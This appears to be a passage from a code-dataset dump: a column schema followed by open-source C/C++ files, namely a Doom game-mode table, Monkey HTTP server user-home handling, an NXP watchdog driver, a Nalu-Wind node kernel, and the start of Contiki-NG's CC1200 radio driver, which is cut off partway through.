blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
4
721
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
5
91
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
321 values
visit_date
timestamp[ns]date
2016-08-12 09:31:09
2023-09-06 10:45:07
revision_date
timestamp[ns]date
2010-09-28 14:01:40
2023-09-06 06:22:19
committer_date
timestamp[ns]date
2010-09-28 14:01:40
2023-09-06 06:22:19
github_id
int64
426
681M
star_events_count
int64
101
243k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[ns]date
2012-06-28 18:51:49
2023-09-14 21:59:16
gha_created_at
timestamp[ns]date
2008-02-11 22:55:26
2023-08-10 11:14:58
gha_language
stringclasses
147 values
src_encoding
stringclasses
26 values
language
stringclasses
2 values
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
6
10.2M
extension
stringclasses
115 values
filename
stringlengths
3
113
content
stringlengths
6
10.2M
847b785c4eb92152bd0ce86c5c07043c8e369abd
07aeb5740a8dae36edf24e2686ff67e2959758fe
/programs/subprojects/doom/d_mode.c
afd84acb327187311145e39e7498f7fbd92dab09
[ "MIT" ]
permissive
codyd51/axle
59e992987bb871296aeadc69fc7244798090f3b1
96ae8852f15ad5c0a77c621c323ba47b4a7bdc69
refs/heads/paging-demo
2023-06-08T11:31:19.429032
2023-05-30T06:45:30
2023-05-30T06:45:30
58,590,685
597
61
MIT
2023-02-21T06:02:34
2016-05-11T23:41:08
C
UTF-8
C
false
false
4,865
c
d_mode.c
// // Copyright(C) 2005-2014 Simon Howard // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // // DESCRIPTION: // Functions and definitions relating to the game type and operational // mode. // #include "doomtype.h" #include "d_mode.h" // Valid game mode/mission combinations, with the number of // episodes/maps for each. static struct { GameMission_t mission; GameMode_t mode; int episode; int map; } valid_modes[] = { { pack_chex, shareware, 1, 5 }, { doom, shareware, 1, 9 }, { doom, registered, 3, 9 }, { doom, retail, 4, 9 }, { doom2, commercial, 1, 32 }, { pack_tnt, commercial, 1, 32 }, { pack_plut, commercial, 1, 32 }, { pack_hacx, commercial, 1, 32 }, { heretic, shareware, 1, 9 }, { heretic, registered, 3, 9 }, { heretic, retail, 5, 9 }, { hexen, commercial, 1, 60 }, { strife, commercial, 1, 34 }, }; // Check that a gamemode+gamemission received over the network is valid. boolean D_ValidGameMode(GameMission_t mission, GameMode_t mode) { int i; for (i=0; i<arrlen(valid_modes); ++i) { if (valid_modes[i].mode == mode && valid_modes[i].mission == mission) { return true; } } return false; } boolean D_ValidEpisodeMap(GameMission_t mission, GameMode_t mode, int episode, int map) { int i; // Hacks for Heretic secret episodes if (mission == heretic) { if (mode == retail && episode == 6) { return map >= 1 && map <= 3; } else if (mode == registered && episode == 4) { return map == 1; } } // Find the table entry for this mission/mode combination. for (i=0; i<arrlen(valid_modes); ++i) { if (mission == valid_modes[i].mission && mode == valid_modes[i].mode) { return episode >= 1 && episode <= valid_modes[i].episode && map >= 1 && map <= valid_modes[i].map; } } // Unknown mode/mission combination return false; } // Get the number of valid episodes for the specified mission/mode. int D_GetNumEpisodes(GameMission_t mission, GameMode_t mode) { int episode; episode = 1; while (D_ValidEpisodeMap(mission, mode, episode, 1)) { ++episode; } return episode - 1; } // Table of valid versions static struct { GameMission_t mission; GameVersion_t version; } valid_versions[] = { { doom, exe_doom_1_9 }, { doom, exe_hacx }, { doom, exe_ultimate }, { doom, exe_final }, { doom, exe_final2 }, { doom, exe_chex }, { heretic, exe_heretic_1_3 }, { hexen, exe_hexen_1_1 }, { strife, exe_strife_1_2 }, { strife, exe_strife_1_31 }, }; boolean D_ValidGameVersion(GameMission_t mission, GameVersion_t version) { int i; // All Doom variants can use the Doom versions. if (mission == doom2 || mission == pack_plut || mission == pack_tnt || mission == pack_hacx || mission == pack_chex) { mission = doom; } for (i=0; i<arrlen(valid_versions); ++i) { if (valid_versions[i].mission == mission && valid_versions[i].version == version) { return true; } } return false; } // Does this mission type use ExMy form, rather than MAPxy form? boolean D_IsEpisodeMap(GameMission_t mission) { switch (mission) { case doom: case heretic: case pack_chex: return true; case none: case hexen: case doom2: case pack_hacx: case pack_tnt: case pack_plut: case strife: default: return false; } } char *D_GameMissionString(GameMission_t mission) { switch (mission) { case none: default: return "none"; case doom: return "doom"; case doom2: return "doom2"; case pack_tnt: return "tnt"; case pack_plut: return "plutonia"; case pack_hacx: return "hacx"; case pack_chex: return "chex"; case heretic: return "heretic"; case hexen: return "hexen"; case strife: return "strife"; } }
f92d017cd4db263cc6bff5f96b979711ec9c7137
f367e4b66a1ee42e85830b31df88f63723c36a47
/lib/monkey/mk_server/mk_user.c
7200ff08cb639ccb0052b78fc1fcfee1a6d803de
[ "Apache-2.0" ]
permissive
fluent/fluent-bit
06873e441162b92941024e9a7e9e8fc934150bf7
1a41f49dc2f3ae31a780caa9ffd6137b1d703065
refs/heads/master
2023-09-05T13:44:55.347372
2023-09-05T10:14:33
2023-09-05T10:14:33
29,933,948
4,907
1,565
Apache-2.0
2023-09-14T10:17:02
2015-01-27T20:41:52
C
UTF-8
C
false
false
4,679
c
mk_user.c
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Monkey HTTP Server * ================== * Copyright 2001-2017 Eduardo Silva <eduardo@monkey.io> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <monkey/monkey.h> #include <monkey/mk_user.h> #include <monkey/mk_http.h> #include <monkey/mk_http_status.h> #include <monkey/mk_core.h> #include <monkey/mk_utils.h> #include <monkey/mk_config.h> #ifndef _WIN32 #include <pwd.h> #include <sys/resource.h> #include <sys/types.h> #include <grp.h> int mk_user_init(struct mk_http_session *cs, struct mk_http_request *sr, struct mk_server *server) { int limit; const int offset = 2; /* The user is defined after the '/~' string, so offset = 2 */ const int user_len = 255; char user[/*user_len*/ 255]; /* VC++ Doesn't allow for this to be a const int*/ char *user_uri; struct passwd *s_user; if (sr->uri_processed.len <= 2) { return -1; } limit = mk_string_char_search(sr->uri_processed.data + offset, '/', sr->uri_processed.len); if (limit == -1) { limit = (sr->uri_processed.len) - offset; } if (limit + offset >= (user_len)) { return -1; } memcpy(user, sr->uri_processed.data + offset, limit); user[limit] = '\0'; MK_TRACE("user: '%s'", user); /* Check system user */ if ((s_user = getpwnam(user)) == NULL) { mk_http_error(MK_CLIENT_NOT_FOUND, cs, sr, server); return -1; } if (sr->uri_processed.len > (unsigned int) (offset+limit)) { user_uri = mk_mem_alloc(sr->uri_processed.len); if (!user_uri) { return -1; } memcpy(user_uri, sr->uri_processed.data + (offset + limit), sr->uri_processed.len - offset - limit); user_uri[sr->uri_processed.len - offset - limit] = '\0'; mk_string_build(&sr->real_path.data, &sr->real_path.len, "%s/%s%s", s_user->pw_dir, server->conf_user_pub, user_uri); mk_mem_free(user_uri); } else { mk_string_build(&sr->real_path.data, &sr->real_path.len, "%s/%s", s_user->pw_dir, server->conf_user_pub); } sr->user_home = MK_TRUE; return 0; } /* Change process user */ int mk_user_set_uidgid(struct mk_server *server) { struct passwd *usr; /* Launched by root ? */ if (geteuid() == 0 && server->user) { struct rlimit rl; if (getrlimit(RLIMIT_NOFILE, &rl)) { mk_warn("cannot get resource limits"); } /* Check if user exists */ if ((usr = getpwnam(server->user)) == NULL) { mk_err("Invalid user '%s'", server->user); goto out; } if (initgroups(server->user, usr->pw_gid) != 0) { mk_err("Initgroups() failed"); } /* Change process UID and GID */ if (setegid(usr->pw_gid) == -1) { mk_err("I cannot change the GID to %u", usr->pw_gid); } if (seteuid(usr->pw_uid) == -1) { mk_err("I cannot change the UID to %u", usr->pw_uid); } server->is_seteuid = MK_TRUE; } out: /* Variables set for run checks on file permission */ //FIXME //EUID = geteuid(); //EGID = getegid(); return 0; } /* Return process to the original user */ int mk_user_undo_uidgid(struct mk_server *server) { if (server->is_seteuid == MK_TRUE) { if (setegid(0) < 0) { mk_err("Can't restore effective GID"); } if (seteuid(0) < 0) { mk_err("Can't restore effective UID"); } } return 0; } #else /* None of these functionalities are going to be available in windows at the moment */ int mk_user_init(struct mk_http_session* cs, struct mk_http_request* sr, struct mk_server* server) { return -1; } int mk_user_set_uidgid(struct mk_server* server) { mk_err("Cannot impersonate users in windows"); return 0; } int mk_user_undo_uidgid(struct mk_server* server) { return 0; } #endif
71abe236b15ce170e487e237a20537195bf7f7f4
99bdb3251fecee538e0630f15f6574054dfc1468
/bsp/imx/imx6ull-smart/libraries/sdk/devices/MCIMX6Y2/drivers/fsl_wdog.c
59a6630f7d500ec9b255d103d9294171a2674896
[ "Apache-2.0", "Zlib", "LicenseRef-scancode-proprietary-license", "MIT", "BSD-3-Clause", "X11", "BSD-4-Clause-UC", "LicenseRef-scancode-unknown-license-reference" ]
permissive
RT-Thread/rt-thread
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
3602f891211904a27dcbd51e5ba72fefce7326b2
refs/heads/master
2023-09-01T04:10:20.295801
2023-08-31T16:20:55
2023-08-31T16:20:55
7,408,108
9,599
5,805
Apache-2.0
2023-09-14T13:37:26
2013-01-02T14:49:21
C
UTF-8
C
false
false
4,935
c
fsl_wdog.c
/* * Copyright (c) 2016, Freescale Semiconductor, Inc. * Copyright 2016-2017 NXP * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * o Redistributions of source code must retain the above copyright notice, this list * of conditions and the following disclaimer. * * o Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * o Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "fsl_wdog.h" #ifdef RT_USING_SMART #include "imx6ull.h" #endif /******************************************************************************* * Variables ******************************************************************************/ static WDOG_Type *const s_wdogBases[] = WDOG_BASE_PTRS; #if !(defined(FSL_SDK_DISABLE_DRIVER_CLOCK_CONTROL) && FSL_SDK_DISABLE_DRIVER_CLOCK_CONTROL) /* Array of WDOG clock name. */ static const clock_ip_name_t s_wdogClock[] = WDOG_CLOCKS; #endif /* FSL_SDK_DISABLE_DRIVER_CLOCK_CONTROL */ /******************************************************************************* * Code ******************************************************************************/ static uint32_t WDOG_GetInstance(WDOG_Type *base) { uint32_t instance; /* Find the instance index from base address mappings. */ for (instance = 0; instance < ARRAY_SIZE(s_wdogBases); instance++) { #ifdef RT_USING_SMART if (s_wdogBases[instance] == rt_kmem_v2p(base)) #else if (s_wdogBases[instance] == base) #endif { break; } } assert(instance < ARRAY_SIZE(s_wdogBases)); return instance; } void WDOG_GetDefaultConfig(wdog_config_t *config) { assert(config); config->enableWdog = true; config->workMode.enableWait = false; config->workMode.enableStop = false; config->workMode.enableDebug = false; config->enableInterrupt = false; config->softwareResetExtension = false; config->enablePowerDown = false; config->softwareAssertion= true; config->softwareResetSignal = true; config->timeoutValue = 0xffu; config->interruptTimeValue = 0x04u; } void WDOG_Init(WDOG_Type *base, const wdog_config_t *config) { assert(config); uint16_t value = 0u; value = WDOG_WCR_WDE(config->enableWdog) | WDOG_WCR_WDW(config->workMode.enableWait) | WDOG_WCR_WDZST(config->workMode.enableStop) | WDOG_WCR_WDBG(config->workMode.enableDebug) | WDOG_WCR_SRE(config->softwareResetExtension) | WDOG_WCR_WT(config->timeoutValue) | WDOG_WCR_WDA(config->softwareAssertion) | WDOG_WCR_SRS(config->softwareResetSignal); #if !(defined(FSL_SDK_DISABLE_DRIVER_CLOCK_CONTROL) && FSL_SDK_DISABLE_DRIVER_CLOCK_CONTROL) /* Set configruation */ CLOCK_EnableClock(s_wdogClock[WDOG_GetInstance(base)]); #endif base->WICR = WDOG_WICR_WICT(config->interruptTimeValue) | WDOG_WICR_WIE(config->enableInterrupt); base->WMCR = WDOG_WMCR_PDE(config->enablePowerDown); base->WCR = value; } void WDOG_Deinit(WDOG_Type *base) { if (base->WCR & WDOG_WCR_WDBG_MASK) { WDOG_Disable(base); } } uint16_t WDOG_GetStatusFlags(WDOG_Type *base) { uint16_t status_flag = 0U; status_flag |= (base->WCR & WDOG_WCR_WDE_MASK); status_flag |= (base->WRSR & WDOG_WRSR_POR_MASK); status_flag |= (base->WRSR & WDOG_WRSR_TOUT_MASK); status_flag |= (base->WRSR & WDOG_WRSR_SFTW_MASK); status_flag |= (base->WICR & WDOG_WICR_WTIS_MASK); return status_flag; } void WDOG_ClearInterruptStatus(WDOG_Type *base, uint16_t mask) { if (mask & kWDOG_InterruptFlag) { base->WICR |= WDOG_WICR_WTIS_MASK; } } void WDOG_Refresh(WDOG_Type *base) { base->WSR = WDOG_REFRESH_KEY & 0xFFFFU; base->WSR = (WDOG_REFRESH_KEY >> 16U) & 0xFFFFU; }
8d4a6c25b021c856daee10a93a44b89624c96339
ca4c4631f3d47a90b8415bbe70dbc7cae18c071e
/src/node_kernels/WallDistNodeKernel.C
2ee6fd0cc6d46394a3fab2ddb4744690706a11e2
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
Exawind/nalu-wind
5765078c445d379ea952d2b25a01f5ff490837a6
722cd7757a412c9306645963808047824c312a17
refs/heads/master
2023-08-16T17:44:54.744168
2023-08-15T18:05:23
2023-08-15T18:05:23
132,016,365
111
87
NOASSERTION
2023-09-14T04:02:07
2018-05-03T15:39:32
C
UTF-8
C
false
false
1,279
c
WallDistNodeKernel.C
// Copyright 2017 National Technology & Engineering Solutions of Sandia, LLC // (NTESS), National Renewable Energy Laboratory, University of Texas Austin, // Northwest Research Associates. Under the terms of Contract DE-NA0003525 // with NTESS, the U.S. Government retains certain rights in this software. // // This software is released under the BSD 3-clause license. See LICENSE file // for more details. // #include "node_kernels/WallDistNodeKernel.h" #include "Realm.h" #include "utils/StkHelpers.h" #include "stk_mesh/base/Types.hpp" namespace sierra { namespace nalu { WallDistNodeKernel::WallDistNodeKernel(stk::mesh::BulkData& bulk) : NGPNodeKernel<WallDistNodeKernel>(), dualNodalVolumeID_( get_field_ordinal(bulk.mesh_meta_data(), "dual_nodal_volume")) { } void WallDistNodeKernel::setup(Realm& realm) { const auto& fieldMgr = realm.ngp_field_manager(); dualNodalVolume_ = fieldMgr.get_field<double>(dualNodalVolumeID_); } KOKKOS_FUNCTION void WallDistNodeKernel::execute( NodeKernelTraits::LhsType&, NodeKernelTraits::RhsType& rhs, const stk::mesh::FastMeshIndex& node) { const NodeKernelTraits::DblType dualVol = dualNodalVolume_.get(node, 0); rhs(0) += dualVol; // No LHS contributions } } // namespace nalu } // namespace sierra
5134cf768657d4f5b1d55e56294c629f26c87994
5ab69c8644a936a3d9dec1669a86c7369c911bf8
/arch/dev/radio/cc1200/cc1200.c
13a98583e40a9926b4d4a967a8754b0783a96c14
[ "BSD-3-Clause" ]
permissive
contiki-ng/contiki-ng
393d36f68b98f5ee3544ea32502cf662ffb2fe9f
31fcaadf7a0dc8ceea07f438cd69db73174879e6
refs/heads/develop
2023-09-01T20:10:30.000765
2023-09-01T14:37:12
2023-09-01T14:37:12
91,191,972
1,242
788
BSD-3-Clause
2023-09-14T19:08:35
2017-05-13T17:37:59
C
UTF-8
C
false
false
71,257
c
cc1200.c
/* * Copyright (c) 2015, Weptech elektronik GmbH Germany * http://www.weptech.de * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * * This file is part of the Contiki operating system. */ #include "dev/radio/cc1200/cc1200-const.h" #include "dev/radio/cc1200/cc1200-conf.h" #include "dev/radio/cc1200/cc1200-arch.h" #include "dev/radio/cc1200/cc1200-rf-cfg.h" #include "net/netstack.h" #include "net/packetbuf.h" #include "dev/watchdog.h" #include "sys/energest.h" #include "dev/leds.h" #include <string.h> #include <stdio.h> static int16_t rssi; static rtimer_clock_t sfd_timestamp = 0; /*---------------------------------------------------------------------------*/ /* Various implementation specific defines */ /*---------------------------------------------------------------------------*/ /* * The debug level to use * - 0: No output at all * - 1: Print errors (unrecoverable) * - 2: Print errors + warnings (recoverable errors) * - 3: Print errors + warnings + information (what's going on...) */ #define DEBUG_LEVEL 0 /* * RF test mode. Blocks inside "configure()". * - Set this parameter to 1 in order to produce an modulated carrier (PN9) * - Set this parameter to 2 in order to produce an unmodulated carrier * - Set this parameter to 3 in order to switch to rx synchronous mode * The channel is set according to CC1200_DEFAULT_CHANNEL */ #ifndef CC1200_RF_TESTMODE #define CC1200_RF_TESTMODE 0 #endif #if CC1200_RF_TESTMODE #undef CC1200_RF_CFG #if CC1200_RF_TESTMODE == 1 #define CC1200_RF_CFG cc1200_802154g_863_870_fsk_50kbps #elif CC1200_RF_TESTMODE == 2 #define CC1200_RF_CFG cc1200_802154g_863_870_fsk_50kbps #elif CC1200_RF_TESTMODE == 3 #define CC1200_RF_CFG cc1200_802154g_863_870_fsk_50kbps #endif #endif /* * When set, a software buffer is used to store outgoing packets before copying * to Tx FIFO. This enabled sending packets larger than the FIFO. When unset, * no buffer is used; instead, the payload is copied directly to the Tx FIFO. * This is requried by TSCH, for shorter and more predictable delay in the Tx * chain. This, however, restircts the payload length to the Tx FIFO size. */ #define CC1200_WITH_TX_BUF (!MAC_CONF_WITH_TSCH) /* * Set this parameter to 1 in order to use the MARC_STATE register when * polling the chips's status. Else use the status byte returned when sending * a NOP strobe. * * TODO: Option to be removed upon approval of the driver */ #define STATE_USES_MARC_STATE 0 /* * Set this parameter to 1 in order to speed up transmission by * sending a FSTXON strobe before filling the FIFO. * * TODO: Option to be removed upon approval of the driver */ #if MAC_CONF_WITH_TSCH #define USE_SFSTXON 0 #else /* MAC_CONF_WITH_TSCH */ #define USE_SFSTXON 1 #endif /* MAC_CONF_WITH_TSCH */ /*---------------------------------------------------------------------------*/ /* Phy header length */ #if CC1200_802154G /* Phy header = 2 byte */ #define PHR_LEN 2 #else /* Phy header = length byte = 1 byte */ #define PHR_LEN 1 #endif /* #if CC1200_802154G */ /*---------------------------------------------------------------------------*/ /* Size of appendix (rssi + lqi) appended to the rx pkt */ #define APPENDIX_LEN 2 /*---------------------------------------------------------------------------*/ /* Verify payload length */ /*---------------------------------------------------------------------------*/ #if CC1200_802154G #if CC1200_USE_GPIO2 #if CC1200_MAX_PAYLOAD_LEN > (2048 - PHR_LEN) #error Payload length not supported by this driver #endif #else #if CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN) /* PHR_LEN = 2 -> we can only place 126 payload bytes bytes in the FIFO */ #error Payload length not supported without GPIO2 #endif #endif /* #if CC1200_USE_GPIO2 */ #else /* #if CC1200_802154G */ #if CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN) /* PHR_LEN = 1 -> we can only place 127 payload bytes bytes in the FIFO */ #error Payload length not supported without enabling 802.15.4g mode #endif #endif /* #if CC1200_802154G */ /*---------------------------------------------------------------------------*/ /* Main driver configurations settings. Don't touch! */ /*---------------------------------------------------------------------------*/ #if CC1200_USE_GPIO2 /* Use GPIO2 as RX / TX FIFO threshold indicator pin */ #define GPIO2_IOCFG CC1200_IOCFG_RXFIFO_THR /* This is the FIFO threshold we use */ #if MAC_CONF_WITH_TSCH #if CC1200_802154G #define FIFO_THRESHOLD 1 #else #define FIFO_THRESHOLD 0 #endif #else /* MAC_CONF_WITH_TSCH */ #define FIFO_THRESHOLD 32 #endif /* MAC_CONF_WITH_TSCH */ /* Turn on RX after packet reception */ #define RXOFF_MODE_RX 1 /* Let the CC1200 append RSSI + LQI */ #define APPEND_STATUS 1 #else /* Arbitrary configuration for GPIO2 */ #define GPIO2_IOCFG CC1200_IOCFG_MARC_2PIN_STATUS_0 #if (CC1200_MAX_PAYLOAD_LEN <= (CC1200_FIFO_SIZE - PHR_LEN - APPENDIX_LEN)) /* * Read out RX FIFO at the end of the packet (GPIO0 falling edge). RX restarts * automatically */ #define RXOFF_MODE_RX 1 /* Let the CC1200 append RSSI + LQI */ #define APPEND_STATUS 1 #else /* * Read out RX FIFO at the end of the packet (GPIO0 falling edge). RX has * to be started manually in this case */ #define RXOFF_MODE_RX 0 /* No space for appendix in the RX FIFO. Read it out by hand */ #define APPEND_STATUS 0 #endif /* #if CC1200_MAX_PAYLOAD_LEN <= 125 */ #endif /* #if CC1200_USE_GPIO2 */ /* Read out packet on falling edge of GPIO0 */ #define GPIO0_IOCFG CC1200_IOCFG_PKT_SYNC_RXTX /* Arbitrary configuration for GPIO3 */ #define GPIO3_IOCFG CC1200_IOCFG_MARC_2PIN_STATUS_0 /* Turn on RX automatically after TX */ #define TXOFF_MODE_RX 1 #if APPEND_STATUS /* CC1200 places two bytes in the RX FIFO */ #define CC_APPENDIX_LEN 2 #else /* CC1200 doesn't add appendix to RX FIFO */ #define CC_APPENDIX_LEN 0 #endif /* #if APPEND_STATUS */ /*---------------------------------------------------------------------------*/ /* RF configuration */ /*---------------------------------------------------------------------------*/ /* Import the rf configuration set by CC1200_RF_CFG */ extern const cc1200_rf_cfg_t CC1200_RF_CFG; /*---------------------------------------------------------------------------*/ /* This defines the way we calculate the frequency registers */ /*---------------------------------------------------------------------------*/ /* XTAL frequency in kHz */ #define XTAL_FREQ_KHZ 40000 /* * Divider + multiplier for calculation of FREQ registers * f * 2^16 * 4 / 40000 = f * 2^12 / 625 (no overflow up to frequencies of * 1048.576 MHz using uint32_t) */ #define LO_DIVIDER 4 #if (XTAL_FREQ_KHZ == 40000) && (LO_DIVIDER == 4) #define FREQ_DIVIDER 625 #define FREQ_MULTIPLIER 4096 #else #error Invalid settings for frequency calculation #endif /*---------------------------------------------------------------------------*/ #if STATE_USES_MARC_STATE /* We use the MARC_STATE register to poll the chip's status */ #define STATE_IDLE CC1200_MARC_STATE_IDLE #define STATE_RX CC1200_MARC_STATE_RX #define STATE_TX CC1200_MARC_STATE_TX #define STATE_RX_FIFO_ERROR CC1200_MARC_STATE_RX_FIFO_ERR #define STATE_TX_FIFO_ERROR CC1200_MARC_STATE_TX_FIFO_ERR #else /* We use the status byte read out using a NOP strobe */ #define STATE_IDLE CC1200_STATUS_BYTE_IDLE #define STATE_RX CC1200_STATUS_BYTE_RX #define STATE_TX CC1200_STATUS_BYTE_TX #define STATE_FSTXON CC1200_STATUS_BYTE_FSTXON #define STATE_CALIBRATE CC1200_STATUS_BYTE_CALIBRATE #define STATE_SETTLING CC1200_STATUS_BYTE_SETTLING #define STATE_RX_FIFO_ERR CC1200_STATUS_BYTE_RX_FIFO_ERR #define STATE_TX_FIFO_ERR CC1200_STATUS_BYTE_TX_FIFO_ERR #endif /* #if STATE_USES_MARC_STATE */ /*---------------------------------------------------------------------------*/ /* Return values for addr_check_auto_ack() */ /*---------------------------------------------------------------------------*/ /* Frame cannot be parsed / is to short */ #define INVALID_FRAME 0 /* Address check failed */ #define ADDR_CHECK_FAILED 1 /* Address check succeeded */ #define ADDR_CHECK_OK 2 /* Address check succeeded and ACK was send */ #define ADDR_CHECK_OK_ACK_SEND 3 /*---------------------------------------------------------------------------*/ /* Return values for set_channel() */ /*---------------------------------------------------------------------------*/ /* Channel update was performed */ #define CHANNEL_UPDATE_SUCCEEDED 0 /* Busy, channel update postponed */ #define CHANNEL_UPDATE_POSTPONED 1 /* Invalid channel */ #define CHANNEL_OUT_OF_LIMITS 2 /*---------------------------------------------------------------------------*/ /* Various flags indicating the operating state of the radio. See rf_flags */ /*---------------------------------------------------------------------------*/ /* Radio was initialized (= init() was called) */ #define RF_INITIALIZED 0x01 /* The radio is on (= not in standby) */ #define RF_ON 0x02 /* An incoming packet was detected (at least payload length was received */ #define RF_RX_PROCESSING_PKT 0x04 /* TX is ongoing */ #define RF_TX_ACTIVE 0x08 /* Channel update required */ #define RF_UPDATE_CHANNEL 0x10 /* SPI was locked when calling RX interrupt, let the pollhandler do the job */ #define RF_POLL_RX_INTERRUPT 0x20 /* Ongoing reception */ #define RF_RX_ONGOING 0x40 /* Force calibration in case we don't use CC1200 AUTOCAL + timeout */ #if !CC1200_AUTOCAL #if CC1200_CAL_TIMEOUT_SECONDS #define RF_FORCE_CALIBRATION 0x40 #endif #endif /*---------------------------------------------------------------------------*/ /* Length of 802.15.4 ACK. We discard packets with a smaller size */ #define ACK_LEN 3 /*---------------------------------------------------------------------------*/ /* This is the way we handle the LEDs */ /*---------------------------------------------------------------------------*/ #ifdef CC1200_TX_LEDS #define TX_LEDS_ON() leds_on(CC1200_TX_LEDS) #define TX_LEDS_OFF() leds_off(CC1200_TX_LEDS) #else #define TX_LEDS_ON() #define TX_LEDS_OFF() #endif /* #ifdef CC1200_TX_LEDS */ #ifdef CC1200_RX_LEDS #define RX_LEDS_ON() leds_on(CC1200_RX_LEDS) #define RX_LEDS_OFF() leds_off(CC1200_RX_LEDS) #else #define RX_LEDS_ON() #define RX_LEDS_OFF() #endif /* #ifdef CC1200_RX_LEDS */ /*---------------------------------------------------------------------------*/ /* * We have to prevent duplicate SPI access. * We therefore LOCK SPI in order to prevent the rx interrupt to * interfere. */ #define LOCK_SPI() do { spi_locked++; } while(0) #define SPI_IS_LOCKED() (spi_locked != 0) #define RELEASE_SPI() do { spi_locked--; } while(0) /*---------------------------------------------------------------------------*/ #if CC1200_USE_GPIO2 /* Configure GPIO interrupts. GPIO0: falling, GPIO2: rising edge */ #define SETUP_GPIO_INTERRUPTS() \ do { \ cc1200_arch_gpio0_setup_irq(0); \ cc1200_arch_gpio2_setup_irq(1); \ } while(0) #define ENABLE_GPIO_INTERRUPTS() \ do { \ cc1200_arch_gpio0_enable_irq(); \ cc1200_arch_gpio2_enable_irq(); \ } while(0) #define DISABLE_GPIO_INTERRUPTS() \ do { \ cc1200_arch_gpio0_disable_irq(); \ cc1200_arch_gpio2_disable_irq(); \ } while(0) #else #define SETUP_GPIO_INTERRUPTS() cc1200_arch_gpio0_setup_irq(0) #define ENABLE_GPIO_INTERRUPTS() cc1200_arch_gpio0_enable_irq() #define DISABLE_GPIO_INTERRUPTS() cc1200_arch_gpio0_disable_irq() #endif /* #if CC1200_USE_GPIO2 */ /*---------------------------------------------------------------------------*/ /* Debug macros */ /*---------------------------------------------------------------------------*/ #if DEBUG_LEVEL > 0 /* Show all kind of errors e.g. when passing invalid payload length */ #define ERROR(...) printf(__VA_ARGS__) #else #define ERROR(...) #endif #if DEBUG_LEVEL > 0 /* This macro is used to check if the radio is in a valid state */ #define RF_ASSERT(condition) \ do { \ if(!(condition)) { \ printf("RF: Assertion failed in line %d\n", __LINE__); \ } \ } while(0) #else #define RF_ASSERT(condition) #endif #if DEBUG_LEVEL > 1 /* Show warnings e.g. for FIFO errors */ #define WARNING(...) printf(__VA_ARGS__) #else #define WARNING(...) #endif #if DEBUG_LEVEL > 2 /* We just print out what's going on */ #define INFO(...) 